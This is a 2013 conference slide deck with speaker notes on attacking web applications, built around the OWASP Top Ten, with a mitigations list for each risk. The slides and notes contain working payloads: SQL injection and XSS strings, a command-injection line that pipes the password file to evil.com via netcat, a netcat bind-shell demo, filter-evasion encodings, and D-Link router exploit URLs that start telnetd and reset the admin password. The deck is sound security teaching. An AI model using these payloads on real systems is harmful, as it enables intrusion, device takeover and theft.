SELA DEVELOPER PRACTICE
May 5-9, 2013
Attacking Web Applications
Sasha Goldshtein
CTO, SELA Group
@goldshtn
blog.sashag.net
Every web developer must be aware of
the most common web
attacks, risks, and mitigations.
Don’t fly blind.
Typical Risks
Exposure of user information
• Stealing passwords and using them with other services
• Stealing user emails for spam lists
• Stealing user personal information for identity theft
Direct financial gain
• Stealing user credit card details
Creating a botnet
• Using your servers / your users’ systems for malicious
activity
Denial of service
• Preventing access to your service
Are they really after me?
1. They could be, if you’re important.
2. They are after your users.
3. They found you randomly on the web.
OWASP Top Ten (2013 Release
Candidate)
1. Injection
2. Broken authentication and session management
3. Cross-site scripting
4. Insecure direct object references
5. Security misconfiguration
6. Sensitive data exposure
7. Missing function level access control
8. Cross-site request forgery
9. Using components with known vulnerabilities
10.Unvalidated redirects and forwards
Injection
SQL Injection
• Suppose we have this very bad login validation
code:
db.ExecuteReader("select * from users where name='"
+ Request["user"] + "' and password='"
+ Request["password"] + "'");
• Suppose the user request parameter is …
' or '1'='1
• Then the query we execute is … (note that and has
precedence over or)
select * from users where name='' or
'1'='1' and password='whatever'
OS Command Injection
• Suppose we’re too lazy to perform DNS lookup, so
we resort to the following:
system("nslookup " + Request["hostname"]);
• Suppose the hostname parameter is …
foo || cat /etc/password | nc evil.com
• Then we end up sending the password file to
evil.com!
DEMO
SQL injection and OS command injection
Mitigating Injections
• DO NOT trust user input
• DO NOT execute code or queries provided by the
user
• DO NOT use blacklists for validation
• Worst idea ever: reject inputs that contain the word
“SELECT”
• DO use SQL query parameters (?, @param, :param)
• DO use whitelists and strict regexes for validation
• DO fuzz your applications with invalid input
• DISCUSS is injection possible with stored
procedures?
Broken authentication
or session
management
Sessions and URLs
• Session identifier = key to the castle
• DO NOT embed session identifiers in URLs
• DO NOT trust cookie contents
• DO NOT trust URL query string contents
• DO NOT use predictable session identifiers
http://example.com/cart.php?sess=127
• DO use a Secure, HttpOnly cookie for session id
• DO use long, random session ids
DEMO
Exploiting vulnerable session information
Use HTTPS Correctly
• DO NOT send sensitive information over HTTP
• DO NOT display login pages over HTTP
• DO NOT load HTTP frames/scripts/images in an
otherwise HTTPs page
• DO insist on pure HTTPS for sensitive pages
Storing Sensitive Information
• DO NOT store anything you don’t have to store
• Least responsibility principle
• DO comply with regulation for secure storage
• E.g. if you store credit card details, you’re in for some pain
Password Storage
• DO NOT store passwords in clear text
• DO NOT store encrypted passwords
• DO NOT store weakly-hashed passwords
• DO hash and salt passwords
• DO reject weak passwords during signup
• DO consider using OAuth services instead of your
own
• DISCUSS which hash function to use
• Use super-slow hash function (bcrypt) – subject to DOS
• Use super-fast hash function (MD5, SHA1) – subject to
cracking
DEMO
Rainbow tables and weak passwords
XSS and CSRF
Cross-Site Scripting (XSS)
• Injecting JavaScript into pages viewed by other
users
• Session (cookie) stealing, other information disclosure
• DOM manipulation, tricking the user to do something
• Temporary XSS
• You craft a link that will cause code to be executed when
the vulnerable page is accessed
http://badgoogle.com/?q=<script>alert(1);</script>
• Persistent XSS
• You provide data to the server which is then permanently
displayed when users visit a certain page
DEMO
Persistent and temporary XSS
Cross-Site Request Forgery (CSRF)
• Use the fact that the user is already authenticated to
a website to generate requests on his behalf
<img
src="http://forum.com/delete_profile.php?co
nfirmed=True" />
• Interesting variation: use CSRF to login into
YouTube with the attacker’s credentials; then,
Google history is stored into the attacker’s account
DEMO
CSRF
Good Luck With Blacklisting Characters.
70 Unique Ways To Encode <
<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
x3c
x3C
u003c
u003C
Mitigating XSS and CSRF
• DO NOT trust user input (didn’t we say this
already?)
• DO NOT allow GET requests to modify state
• DO NOT rely on blacklists of characters/tags
• DO escape and sanitize HTML provided by the user
• DO generate anti-CSRF tokens and validate them
• DO validate Referer headers
Security Configuration
Admin Consoles
• DO NOT leave admin consoles exposed to the
Internet
• DO NOT provide “extra helpful” troubleshooting info
• DO restrict admin consoles to local network only
• DO whitelist IP addresses if absolutely necessary
Some auth
cookies… yum!
DEMO
Locating ELMAH error pages through Google
Bonus: A Real Vulnerability Advisory
DLink DIR-615 and DIR-300
• OS command injection
http://<IP>/tools_vct.xgi?set/runtime/switch/getlinktype=1
&set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1
.1.1
• CSRF to change admin password and enable
remote administration (Internet-facing)
http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save+Setti
ngs&admin_name=admin&admin_password1=admin1&admin_password
2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&r
t_ipaddr=0.0.0.0&rt_port=8080
• Information disclosure
http://<IP>/DevInfo.txt
• Insecure password storage
$ cat var/etc/httpasswd
admin:admin
Summary & Call To Action
• Be aware of security risks and typical vulnerabilities
while you architect, design, and develop your web
applications
• Ensure your developers get up to date security
training
• Review code for security, not just correctness
• Remember that web security is just one part of the
picture: if your web app is secure, attackers will try
other routes (social engineering, physical attacks,
…) Follow OWASP for more:
https://www.owasp.org/
SELA DEVELOPER PRACTICE
May 5-9, 2013
Thank You!
Questions?
Sasha Goldshtein
@goldshtn
blog.sashag.net

Attacking Web Applications

  • 1.
    SELA DEVELOPER PRACTICE May5-9, 2013 Attacking Web Applications Sasha Goldshtein CTO, SELA Group @goldshtn blog.sashag.net
  • 2.
    Every web developermust be aware of the most common web attacks, risks, and mitigations. Don’t fly blind.
  • 3.
    Typical Risks Exposure ofuser information • Stealing passwords and using them with other services • Stealing user emails for spam lists • Stealing user personal information for identity theft Direct financial gain • Stealing user credit card details Creating a botnet • Using your servers / your users’ systems for malicious activity Denial of service • Preventing access to your service
  • 4.
    Are they reallyafter me? 1. They could be, if you’re important. 2. They are after your users. 3. They found you randomly on the web.
  • 5.
    OWASP Top Ten(2013 Release Candidate) 1. Injection 2. Broken authentication and session management 3. Cross-site scripting 4. Insecure direct object references 5. Security misconfiguration 6. Sensitive data exposure 7. Missing function level access control 8. Cross-site request forgery 9. Using components with known vulnerabilities 10.Unvalidated redirects and forwards
  • 6.
  • 7.
    SQL Injection • Supposewe have this very bad login validation code: db.ExecuteReader("select * from users where name='" + Request["user"] + "' and password='" + Request["password"] + "'"); • Suppose the user request parameter is … ' or '1'='1 • Then the query we execute is … (note that and has precedence over or) select * from users where name='' or '1'='1' and password='whatever'
  • 9.
    OS Command Injection •Suppose we’re too lazy to perform DNS lookup, so we resort to the following: system("nslookup " + Request["hostname"]); • Suppose the hostname parameter is … foo || cat /etc/password | nc evil.com • Then we end up sending the password file to evil.com!
  • 10.
    DEMO SQL injection andOS command injection
  • 11.
    Mitigating Injections • DONOT trust user input • DO NOT execute code or queries provided by the user • DO NOT use blacklists for validation • Worst idea ever: reject inputs that contain the word “SELECT” • DO use SQL query parameters (?, @param, :param) • DO use whitelists and strict regexes for validation • DO fuzz your applications with invalid input • DISCUSS is injection possible with stored procedures?
  • 12.
  • 13.
    Sessions and URLs •Session identifier = key to the castle • DO NOT embed session identifiers in URLs • DO NOT trust cookie contents • DO NOT trust URL query string contents • DO NOT use predictable session identifiers http://example.com/cart.php?sess=127 • DO use a Secure, HttpOnly cookie for session id • DO use long, random session ids
  • 14.
  • 15.
    Use HTTPS Correctly •DO NOT send sensitive information over HTTP • DO NOT display login pages over HTTP • DO NOT load HTTP frames/scripts/images in an otherwise HTTPs page • DO insist on pure HTTPS for sensitive pages
  • 16.
    Storing Sensitive Information •DO NOT store anything you don’t have to store • Least responsibility principle • DO comply with regulation for secure storage • E.g. if you store credit card details, you’re in for some pain
  • 17.
    Password Storage • DONOT store passwords in clear text • DO NOT store encrypted passwords • DO NOT store weakly-hashed passwords • DO hash and salt passwords • DO reject weak passwords during signup • DO consider using OAuth services instead of your own • DISCUSS which hash function to use • Use super-slow hash function (bcrypt) – subject to DOS • Use super-fast hash function (MD5, SHA1) – subject to cracking
  • 18.
  • 19.
  • 20.
    Cross-Site Scripting (XSS) •Injecting JavaScript into pages viewed by other users • Session (cookie) stealing, other information disclosure • DOM manipulation, tricking the user to do something • Temporary XSS • You craft a link that will cause code to be executed when the vulnerable page is accessed http://badgoogle.com/?q=<script>alert(1);</script> • Persistent XSS • You provide data to the server which is then permanently displayed when users visit a certain page
  • 21.
  • 22.
    Cross-Site Request Forgery(CSRF) • Use the fact that the user is already authenticated to a website to generate requests on his behalf <img src="http://forum.com/delete_profile.php?co nfirmed=True" /> • Interesting variation: use CSRF to login into YouTube with the attacker’s credentials; then, Google history is stored into the attacker’s account
  • 23.
  • 24.
    Good Luck WithBlacklisting Characters. 70 Unique Ways To Encode < < %3C &lt &lt; &LT &LT; &#60 &#060 &#0060 &#00060 &#000060 &#0000060 &#60; &#060; &#0060; &#00060; &#000060; &#0000060; &#x3c &#x03c &#x003c &#x0003c &#x00003c &#x000003c &#x3c; &#x03c; &#x003c; &#x0003c; &#x00003c; &#x000003c; &#X3c &#X03c &#X003c &#X0003c &#X00003c &#X000003c &#X3c; &#X03c; &#X003c; &#X0003c; &#X00003c; &#X000003c; &#x3C &#x03C &#x003C &#x0003C &#x00003C &#x000003C &#x3C; &#x03C; &#x003C; &#x0003C; &#x00003C; &#x000003C; &#X3C &#X03C &#X003C &#X0003C &#X00003C &#X000003C &#X3C; &#X03C; &#X003C; &#X0003C; &#X00003C; &#X000003C; x3c x3C u003c u003C
  • 25.
    Mitigating XSS andCSRF • DO NOT trust user input (didn’t we say this already?) • DO NOT allow GET requests to modify state • DO NOT rely on blacklists of characters/tags • DO escape and sanitize HTML provided by the user • DO generate anti-CSRF tokens and validate them • DO validate Referer headers
  • 26.
  • 27.
    Admin Consoles • DONOT leave admin consoles exposed to the Internet • DO NOT provide “extra helpful” troubleshooting info • DO restrict admin consoles to local network only • DO whitelist IP addresses if absolutely necessary Some auth cookies… yum!
  • 28.
    DEMO Locating ELMAH errorpages through Google
  • 29.
    Bonus: A RealVulnerability Advisory DLink DIR-615 and DIR-300 • OS command injection http://<IP>/tools_vct.xgi?set/runtime/switch/getlinktype=1 &set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&pingIP=1.1 .1.1 • CSRF to change admin password and enable remote administration (Internet-facing) http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save+Setti ngs&admin_name=admin&admin_password1=admin1&admin_password 2=admin1&grap_auth_enable_h=0&rt_enable=on&rt_enable_h=1&r t_ipaddr=0.0.0.0&rt_port=8080 • Information disclosure http://<IP>/DevInfo.txt • Insecure password storage $ cat var/etc/httpasswd admin:admin
  • 30.
    Summary & CallTo Action • Be aware of security risks and typical vulnerabilities while you architect, design, and develop your web applications • Ensure your developers get up to date security training • Review code for security, not just correctness • Remember that web security is just one part of the picture: if your web app is secure, attackers will try other routes (social engineering, physical attacks, …) Follow OWASP for more: https://www.owasp.org/
  • 31.
    SELA DEVELOPER PRACTICE May5-9, 2013 Thank You! Questions? Sasha Goldshtein @goldshtn blog.sashag.net

Editor's Notes

  • #9 Source: http://xkcd.com/327/ under Creative Commons 2.5 license.
  • #11 Command injectionOpen http://localhost:1234/dvwa/vulnerabilities/exec/ Input 127.0.0.1 and show the output – this looks suspiciously as though input is passed to a system() callInput 127.0.0.1;ls -laInput 127.0.0.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 13371 &gt; /tmp/pipeThis creates a temporary pipe and connects a netcatlistener to one end of that pipeNow on the shell, runnclocalhost 13371 to connect to the other end of that pipe – we have a shell on the webserver!SQL injectionOpen http://localhost:1234/dvwa/vulnerabilities/sqli/Input ‘ or ‘1’=‘1 and show the output – we have the entire table Show the vulnerable code at /Applications/XAMPP/xamppfiles/htdocs/dvwa/vulnerabilities/sqli/source/low.php
  • #15 Trusting cookie contents when the cookie is stored on the client is a horrible idea.Gruyere does that – it even stores whether the user is an admin in the cookie.Create a new user account on http://google-gruyere.appspot.com/261444123717/Inspect the GRUYERE cookie with Edit This CookieIllustrate that the cookie is neither Secure nor HttpOnlyIllustrate the cookie structure – “58923195|sasha||author”The part in the middle says whether I’m an admin. If I try to manipulate this blindly, it won’t work because there’s a hash on the cookie contents. (As a side note, this hash is not cryptographically secure so we could try to generate a collision, but not today.)Try to create a new user called “sasha|admin|author” – this will generate a cookie for “hash|sasha|admin|author||author”, which will log me in as admin Problem is, there is a client-side restriction on user id length for 16 chars. So we just bypass it and issue a request for the new user page – and then voila, we are logged in as sasha with admin privileges – note the “Manage this server” link on the homepage. http://google-gruyere.appspot.com/261444123717/saveprofile?action=new&amp;uid=sasha|admin|author&amp;pw=password
  • #19 Show the power of rainbow tables:Go to http://www.onlinehashcrack.com/free-hash-reverse.phpGenerate a sha1 or md5 for a “strong” but short password:$ md5 -s Password123MD5 (&quot;Password123&quot;) = 42f749ade7f9e195bf475f37a44cafcbInput it online and see how they find the plain text LinkedIn leaked hashes:Show the LinkedIn leaked hashes file (combo_not.txt). Some hashes have a leading 00000, some don’t. These hashes were not salted…Show that users have very bad security habits. Generate a couple of hashes for common passwords and show that they are in the file (password, Password1, etc.):pythonimport hashlibs = hashlib.sha1(‘password’).hexdigest()sSearch for that hash in the file (with grep)‘0’*5 + s[5:] Search for that hash in the file (with grep)
  • #22 PersistentXSS in snippets:The trivial attempt to create a snippet with &lt;script&gt;alert(1)&lt;/script&gt; doesn’t work – there is some sanitization on the serverBut this works: &lt;a href=“javascript:alert(1)”&gt;Click me&lt;/a&gt;And this also works: &lt;a onmouseover=“javascript:alert(1)”&gt;Read me&lt;/a&gt;Surprising persistent XSS:Go to “My Profile” and change the color to: red&apos; onload=&apos;alert(1)&apos; onmouseover=&apos;alert(2)Reflected XSS using a URL:http://google-gruyere.appspot.com/261444123717/%3Cscript%3Ealert(&apos;0wn3d&apos;)%3C/script%3EJust need to get the victim to click on that link (phishing, etc.) – the error page includes the error URL 
  • #24 Just need to get the user to visit a page that makes the following request: http://google-gruyere.appspot.com/261444123717/deletesnippet?index=0For example, you can set your profile icon URL to that, and Gruyere will happily serve that URL to any authenticated user that logs into the main page…
  • #25 Source: http://www.slideshare.net/rob.ragan/filter-evasion-houdini-on-the-wire
  • #26 Note that using POST instead of GET is not enough in and of itself – it will prevent some CSRF attacks but from a page that’s fully controlled by the attacker, there is no problem to submit a POST request as well.Similarly, validating Referer headers is not enough because the Referer header can sometimes be spoofed by browsers or intermediaries.The best approach is to require a specific anti-CSRF token for each state-changing operation, and preferably require the user to reauthenticate before performing a sensitive state-changing operation.
  • #29 Just do a Google search: https://www.google.com/search?q=inurl%3Aelmah.axd+ASPXAUTHAnd click some links to illustrate the risks.
  • #30 Full advisory text:From: devnull@s3cur1ty.deTo: bugtraq@securityfocus.comSubject: Multiple Vulnerabilities in D&apos;Link DIR-615 - Hardware revision D3 / DIR-300 - Hardware revision ADevice Name: DIR-615 - Hardware revision D3 / DIR-300 - Hardware revision AVendor: D-Link============ Device Description: ============DIR-300: http://www.dlink.com/de/de/home-solutions/connect/routers/dir-300-wirele...DIR-615: http://www.dlink.com/de/de/support/product/dir-615-wireless-n-300-router...============ Vulnerable Firmware Releases - DIR-615: ============Tested Firmware Version : 4.13============ Vulnerable Firmware Releases - DIR-300: ============Firmware Version : 1.05 , Fri 13 Feb 2009Firmware Version : 1.05 , Mon 06 Jul 2009Firmware Version : 1.05 , Fri 26 Nov 2010I like the same version number with different build dates :-D============ Vulnerability Overview: ============ * OS Command Injection (1) The vulnerability is caused by missing input validation in the set/runtime/diagnostic/pingIp and the exeshell parameter and can be exploited to inject and execute arbitrary shell commands.It is possible to start a telnetd to compromise the device. You need credentials for the webinterface.http://192.168.178.155/tools_system.xgi?random_num=2012.8.24.13.34.33&amp;exeshell=submit%20`ping 192.168.178.102`Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-300_A-code-execution.pnghttp://192.168.178.155/tools_vct.xgi?set/runtime/switch/getlinktype=1&amp;set/runtime/diagnostic/pingIp=1.1.1.1`telnetd`&amp;pingIP=1.1.1.1Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-615_D-OS-Command-Injection-start-telnetd.png * For changing the current password there is no request to the current password (2) With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser. CSRF for changing the password without knowing the current one and the attacker is able to activate the remote management (3): http://Target-IP/tools_admin.php?ACTION_POST=1&amp;apply=Save+Settings&amp;admin_name=admin&amp;admin_password1=admin1&amp;admin_password2=admin1&amp;grap_auth_enable_h=0&amp;rt_enable=on&amp;rt_enable_h=1&amp;rt_ipaddr=0.0.0.0&amp;rt_port=8080 * Insecure Cryptographic Storage (4): There is no password hashing implemented and so it is saved in plain text on the system. You will find other ways to get access to it.# cat var/etc/httpasswdadmin:admin * reflected XSS (5) Injecting scripts into the parameter send_mail reveals that this parameter is not properly validated for malicious input.http://192.168.178.150/tools_log_setting.php?ACTION_POST=SOMETHING&amp;send_mail=--%3E%3Cscript%3Ealert%28%27XSSed%27%29%3C/script%3E&amp;apply=Save+Settings&amp;log_sys=1&amp;log_dbg=1&amp;log_att=1&amp;log_drp=1&amp;log_ntc=1&amp;email_addr=&amp;subject=&amp;sender=&amp;srv=&amp;srv_port=25Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DIR-300_A-XSSed.png * HTTP Header Injection (6) Injecting scripts into the parameter date reveals that this parameter is not properly validated for malicious input.Request:GET /tools_vct.xgi?%0dNew%20Header=1 HTTP/1.1Host: 192.168.178.155User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateProxy-Connection: keep-aliveResponse:HTTP/1.1 302 FoundServer: Alpha_webservDate: Sat, 01 Jan 2000 08:26:28 GMTContent-Type: text/htmlAccept-Ranges: bytesLocation: tools_vct.php?uptime=1589&amp;New Header=1X-Pad: avoid browser bugContent-Length: 0 * Information Disclosure (7): Detailed device information including Model Name, Hardware Version, Linux Kernel, Firmware version, Language and MAC Addresses are available unauthenticated via the network.Request:http://&lt;IP&gt;/DevInfo.txtResponse:Firmware External Version: V4.13 Firmware Internal Version: ac6b Model Name: DIR-615 Hardware Version: D1 WLAN Domain: EU Kernel: Linux version 2.6.21 Language: en Graphcal Authentication: Disable LAN MAC: xxx WAN MAC: xxx WLAN MAC: xxx * Information Disclosure (8): Nice server banner to detect this type of devices easily:Server Banner: Mathopd/1.5p6============ Solution ============DIR-300A: Update to Firmware Version : 1.06 , Thu 11 Apr 2013DIR-615D: Update to Firmware Version : 4.14b02Vulnerability Nr. 1, 2, 3, 5, 6, 7, 8 - unfixedVulnarability Nr. 4 - unknownTelnetd with hard coded credentials is disabled with this update.============ Credits ============The vulnerability was discovered by Michael MessnerMail: devnull#at#s3cur1ty#dot#deWeb: http://www.s3cur1ty.deAdvisory URL: http://www.s3cur1ty.de/m1adv2013-014Twitter: @s3cur1ty_deThere is also a default telnet user available and documented here:http://www.dd-wrt.com/phpBB2/viewtopic.php?t=62146============ Time Line: ============October 2012 - discovered vulnerability15.10.2012 - contacted dlink via mail23.10.2012 - contacted dlink via first Webinterface11.11.2012 - contacted dlink via second Webinterface20.12.2012 - contacted Heise Security with details and Heisec forwarded the details to D-Link21.12.2012 - D-link responded that they will check the findings *h00ray*11.01.2013 - requested status update25.01.2013 - requested status update25.01.2013 - D-Link responded that this is a security problem from the user and/or browser and they will not provide a fix07.02.2013 - after the DIR-600/300 drama D&apos;Link contacted me and now they would talk ;)- since 07.02. there is some communication between dlink and me18.04.2013 - a new beta image is available for testing20.04.2013 - tested the provided image, feedback to vendor22.04.2013 - vendor releases update22.04.2013 - public release===================== Advisory end =====================